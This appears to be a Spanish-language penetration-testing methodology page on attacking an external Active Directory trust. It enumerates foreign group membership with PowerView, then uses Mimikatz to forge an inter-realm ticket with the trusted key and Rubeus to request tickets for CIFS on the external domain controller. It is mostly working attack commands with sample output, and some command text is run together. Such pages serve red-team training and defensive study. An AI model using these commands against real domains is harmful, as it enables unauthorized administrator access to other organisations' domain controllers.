En este escenario, un dominio externo te está confiando (o ambos se están confiando mutuamente), por lo que puedes obtener algún tipo de acceso sobre él.
Enumeración
Primero que nada, necesitas enumerar la confianza:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
En la enumeración anterior se encontró que el usuario crossuser está dentro del grupo External Admins que tiene acceso de administrador dentro del DC del dominio externo.
Acceso Inicial
Si no pudiste encontrar ningún acceso especial de tu usuario en el otro dominio, aún puedes volver a la Metodología de AD y tratar de elevar privilegios desde un usuario no privilegiado (cosas como kerberoasting, por ejemplo):
Puedes usar las funciones de Powerview para enumerar el otro dominio usando el parámetro -Domain como en:
También podrías abusar de SID History a través de una confianza de bosque.
Si un usuario es migrado de un bosque a otro y el filtrado de SID no está habilitado, se vuelve posible agregar un SID del otro bosque, y este SID será agregado al token del usuario al autenticar a través de la confianza.
Como recordatorio, puedes obtener la clave de firma con
Podrías firmar con la claveconfiable un TGT que imita al usuario del dominio actual.
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz-Command'"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:C:\path\save\ticket.kirbi/nowrap# Now you have a TGS to access the CIFS service of the domain controller
Forma completa de suplantar al usuario
# Get a TGT of the user with cross-domain permissionsRubeus.exeasktgt/user:crossuser/domain:sub.domain.local/aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80/opsec/nowrap# Get a TGT from the current domain for the target domain for the userRubeus.exeasktgs/service:krbtgt/domain.external/domain:sub.domain.local/dc:dc.sub.domain.local/ticket:doIFdD[...snip...]MuSU8=/nowrap# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:doIFMT[...snip...]5BTA==/nowrap# Now you have a TGS to access the CIFS service of the domain controller